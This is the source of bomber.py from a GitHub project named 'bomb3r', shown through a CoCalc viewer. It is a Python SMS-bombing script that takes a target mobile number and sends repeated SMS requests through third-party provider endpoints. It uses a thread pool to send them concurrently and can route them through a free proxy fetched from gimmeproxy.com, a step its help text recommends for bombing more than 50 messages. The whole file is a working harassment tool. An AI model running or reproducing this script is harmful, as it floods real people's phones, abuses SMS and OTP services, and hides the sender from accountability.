Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
iMro0t
GitHub Repository: iMro0t/bomb3r
Path: blob/master/bomber.py
143 views
1
#!/usr/bin/python3
2
3
import requests
4
import argparse
5
from concurrent.futures import ThreadPoolExecutor
6
import json
7
import time
8
from Provider import Provider
9
10
# args
11
12
parser = argparse.ArgumentParser()
13
parser.add_argument('target', metavar='TARGET', type=lambda value: (_ for _ in ()).throw(argparse.ArgumentTypeError(f'{value} is an invalid mobile number')) if len(value) != 10 else value,
14
help='Target mobile number without country code')
15
parser.add_argument('--sms', '-S', type=int,
16
help='Number of sms to target (default: 20)', default=20)
17
parser.add_argument('--country', '-c', type=int,
18
help='Country code without (+) sign (default: 91)', default=91)
19
parser.add_argument('--threads', '-T', type=int,
20
help='Max number of concurrent HTTP(s) requests (default: 20)', default=20)
21
parser.add_argument('--proxy', '-p', action='store_true',
22
help='Use proxy for bombing (It is advisable to use this option if you are bombing more than 50 sms)')
23
parser.add_argument('--verbose', '-v', action='store_true',
24
help='Verbose')
25
parser.add_argument('--verify', '-V', action='store_true',
26
help='To verify all providers are working or not')
27
args = parser.parse_args()
28
29
# config loading
30
target = str(args.target)
31
no_of_threads = args.threads
32
no_of_sms = args.sms
33
fails, success = 0, 0
34
not args.verbose and not args.verify and print(
35
f'Target: {target} | Threads: {no_of_threads} | SMS: {no_of_sms}')
36
37
# proxy setup
38
# https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true
39
40
41
def get_proxy():
42
args.verbose and print('Gethering proxy...')
43
curl = requests.get(
44
'https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true').text
45
if 'limit' in curl:
46
print('Proxy limitation error. Try without `-p` or `--proxy` argument')
47
exit()
48
args.verbose and print(f'Using Proxy: {curl}')
49
return {"http": curl, "https": curl}
50
51
52
proxies = get_proxy() if args.proxy else False
53
# proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
54
55
# bomber function
56
57
58
def bomber(p):
59
global fails, success, no_of_sms
60
if not args.verify and p is None or success > no_of_sms:
61
return
62
elif not p.done:
63
try:
64
p.start()
65
if p.status():
66
success += 1
67
else:
68
fails += 1
69
except:
70
fails += 1
71
args.verbose or args.verify and print(
72
'{:12}: error'.format(p.config['name']))
73
not args.verbose and not args.verify and print(
74
f'Bombing : {success+fails}/{no_of_sms} | Success: {success} | Failed: {fails}', end='\r')
75
76
77
# threadsssss
78
start = time.time()
79
if args.verify:
80
providers = json.load(open('config.json', 'r'))['providers']
81
pall = [p for x in providers.values() for p in x]
82
with ThreadPoolExecutor(max_workers=len(pall)) as executor:
83
for config in pall:
84
executor.submit(bomber, Provider(target, proxy=proxies,
85
verbose=True, cc=str(args.country), config=config))
86
print(f'Total {len(pall)} providers available')
87
else:
88
with ThreadPoolExecutor(max_workers=no_of_threads) as executor:
89
for i in range(no_of_sms):
90
p = Provider(target, proxy=proxies,
91
verbose=args.verbose, cc=str(args.country))
92
executor.submit(bomber, p)
93
end = time.time()
94
95
96
# finalize
97
print(f'\nSuccess: {success} | Failed: {fails}')
98
print(f'Took {end-start:.2f}s to complete')
99
100